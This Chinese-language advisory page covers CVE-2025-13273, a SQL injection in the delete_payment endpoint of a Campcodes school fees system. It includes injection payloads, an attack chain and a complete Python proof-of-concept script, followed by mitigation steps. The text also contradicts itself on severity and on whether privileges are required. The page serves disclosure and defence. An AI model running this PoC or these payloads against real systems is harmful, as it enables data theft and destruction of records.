IPBUF安全漏洞报告
English
CVE-2025-13273 CVSS 6.3 中危

CVE-2025-13273 Campcodes学校收费管理系统SQL注入漏洞

披露日期: 2025-11-17

漏洞信息

漏洞编号
CVE-2025-13273
漏洞类型
SQL注入
CVSS评分
6.3 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Campcodes School Fees Payment Management System 1.0

相关标签

SQL注入Campcodes学校收费管理系统CVE-2025-13273Web应用安全数据库注入中危漏洞PHPMySQL

漏洞概述

CVE-2025-13273是Campcodes公司开发的学生收费管理系统1.0版本中的一个高危安全漏洞。该系统是一款用于学校收费管理的Web应用程序,广泛应用于教育机构进行学生学费、杂费等费用的在线管理和处理。漏洞存在于系统的前端处理脚本ajax.php中,具体位于delete_payment功能的ID参数处理逻辑。由于系统对用户输入的ID参数缺乏有效的输入验证和SQL语句预处理,攻击者可以通过构造恶意的SQL语句片段,实现SQL注入攻击。该漏洞被标记为中危级别,CVSS评分为6.3,攻击复杂度低,无需特殊权限即可利用。攻击者成功利用此漏洞后,可以从数据库中提取敏感信息,包括学生个人信息、财务数据、管理员凭据等,甚至可能在特定条件下实现系统权限提升或远程代码执行。此漏洞的公开利用可能使大量使用该系统的教育机构面临数据泄露和业务中断的风险。

技术细节

该漏洞属于典型的SQL注入漏洞,存在于Campcodes School Fees Payment Management System 1.0的ajax.php文件中的delete_payment功能模块。系统使用PHP语言开发,后端数据库通常为MySQL。在处理delete_payment请求时,应用程序直接将从客户端接收的ID参数拼接到SQL删除语句中,未进行任何形式的输入过滤、参数化查询或预编译语句处理。攻击者可以通过URL参数或POST请求中的ID字段注入SQL代码,例如使用UNION SELECT子句提取数据库信息、使用布尔盲注或时间盲注技术推断数据内容。漏洞利用的关键在于ID参数的值会被直接用于构建SQL查询语句,例如:DELETE FROM payments WHERE id='用户输入'。当攻击者输入类似' OR '1'='1的payload时,可能导致删除所有付款记录;若使用更复杂的UNION注入,则可以联合查询获取其他表中的敏感数据。攻击者还可以利用该漏洞枚举数据库结构、提取用户表中的管理员账户密码哈希值,甚至通过LOAD_FILE或INTO OUTFILE等函数读取服务器敏感文件或写入webshell。

攻击链分析

STEP 1
步骤1
侦察阶段:攻击者访问目标网站,识别出使用的是Campcodes School Fees Payment Management System 1.0,并定位到存在漏洞的ajax.php端点
STEP 2
步骤2
构造恶意请求:攻击者针对/ajax.php?action=delete_payment端点的ID参数,构造包含SQL注入payload的HTTP请求
STEP 3
步骤3
注入执行:发送恶意SQL代码片段,利用UNION注入或盲注技术从数据库中提取敏感数据,如用户表、管理员账户等
STEP 4
步骤4
数据窃取:成功获取数据库中的学生个人信息、财务记录、管理员凭据等敏感数据
STEP 5
步骤5
权限提升(可选):利用获取的管理员凭据登录后台管理系统,进一步控制整个应用系统

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/usr/bin/env python3 """ CVE-2025-13273 SQL Injection PoC Target: Campcodes School Fees Payment Management System 1.0 Vulnerability: SQL Injection in /ajax.php?action=delete_payment (ID parameter) """ import requests import sys from urllib.parse import urlencode def test_sql_injection(target_url, payload): """ Test SQL injection vulnerability """ params = { 'action': 'delete_payment', 'ID': payload } try: response = requests.get(f"{target_url}/ajax.php", params=params, timeout=10) return response except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") return None def extract_database_version(target_url): """ Extract database version using UNION-based injection """ # Payload to extract MySQL version payload = "' UNION SELECT NULL,version(),NULL,NULL,NULL-- -" response = test_sql_injection(target_url, payload) if response and response.status_code == 200: print(f"[+] Response received. Check response for database version.") print(f"[+] Response length: {len(response.text)}") return response.text return None def blind_boolean_injection(target_url): """ Demonstrate blind boolean-based SQL injection """ # True condition - should return normal response true_payload = "' AND 1=1-- -" # False condition - should return different response false_payload = "' AND 1=2-- -" print("[*] Testing true condition...") true_resp = test_sql_injection(target_url, true_payload) print("[*] Testing false condition...") false_resp = test_sql_injection(target_url, false_payload) if true_resp and false_resp: if true_resp.text != false_resp.text: print("[+] Blind SQL injection confirmed!") print(f"[+] True response length: {len(true_resp.text)}") print(f"[+] False response length: {len(false_resp.text)}") def main(): if len(sys.argv) < 2: print("Usage: python3 cve-2025-13273.py <target_url>") print("Example: python3 cve-2025-13273.py http://target.com/school-system") sys.exit(1) target = sys.argv[1].rstrip('/') print(f"[*] Target: {target}") print(f"[*] Testing CVE-2025-13273 SQL Injection\n") # Test basic injection print("[*] Step 1: Testing basic SQL injection...") basic_payload = "' OR '1'='1" test_sql_injection(target, basic_payload) # Test blind boolean injection print("\n[*] Step 2: Testing blind boolean injection...") blind_boolean_injection(target) # Extract database version print("\n[*] Step 3: Extracting database information...") extract_database_version(target) print("\n[*] PoC execution completed.") print("[*] Manual verification recommended.") if __name__ == "__main__": main()

影响范围

Campcodes School Fees Payment Management System 1.0

防御指南

临时缓解措施
在官方修复补丁发布之前,可采取以下临时缓解措施:1)通过Web服务器配置(如Nginx/Apache的URL重写规则)限制对ajax.php文件中delete_payment功能的访问,仅允许授权IP地址访问;2)在应用层代码中临时添加SQL注入过滤逻辑,使用正则表达式或字符串替换方法过滤常见的SQL注入关键字(如UNION、SELECT、INSERT、DROP等);3)禁用或限制数据库账户的FILE权限和INTO OUTFILE/DUMPFILE等写文件功能;4)启用数据库审计日志,实时监控异常的SQL查询行为;5)考虑暂时关闭delete_payment功能或实施人工审核机制替代自动化删除操作。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表